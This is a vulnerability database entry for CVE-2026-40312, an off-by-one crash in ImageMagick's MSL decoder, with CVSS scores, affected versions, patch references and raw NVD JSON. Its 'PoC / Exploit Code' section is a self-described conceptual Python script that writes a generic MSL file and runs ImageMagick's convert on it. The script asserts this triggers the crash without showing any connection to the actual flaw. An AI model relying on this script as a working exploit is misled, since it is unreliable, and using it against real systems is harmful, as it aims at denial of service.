Security Vulnerability Report
中文
CVE-2026-40312 CVSS 6.2 MEDIUM

CVE-2026-40312

Published: 2026-04-13 22:16:30
Last Modified: 2026-04-17 20:42:41

Description

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below 7.1.2-19, an off by one error in the MSL decoder could result in a crash when a malicous MSL file is read. This issue has been fixed in version 7.1.2-19.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:* - VULNERABLE
ImageMagick < 7.1.2-19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40312 (Conceptual) # This script demonstrates how to trigger the crash using a malformed MSL file. import os # Malicious MSL content designed to trigger the off-by-one error # The exact payload structure depends on the specific parser logic, # but generally involves malformed XML tags within the MSL schema. msl_payload = """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="test.png" /> <!-- Off-by-one trigger often involves boundary conditions in attributes --> <resize geometry="10000x10000" /> <write filename="output.png" /> </image> """ filename = "exploit.msl" # Create the malicious file with open(filename, "w") as f: f.write(msl_payload) print(f"[+] Created malicious MSL file: {filename}") # Attempt to process the file with ImageMagick # This command should trigger the crash in vulnerable versions print("[*] Triggering the vulnerability via ImageMagick convert...") os.system(f"convert {filename} output.png")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40312", "sourceIdentifier": "[email protected]", "published": "2026-04-13T22:16:30.113", "lastModified": "2026-04-17T20:42:40.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below 7.1.2-19, an off by one error in the MSL decoder could result in a crash when a malicous MSL file is read. This issue has been fixed in version 7.1.2-19."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-193"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.2-19", "matchCriteriaId": "AAB93A09-7FA3-4F61-9DB8-EF5B1382E7EE"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/commit/2a06c7be3bba3326caf8b7a8d1fa2e0d4b88998d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5xg3-585r-9jh5", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}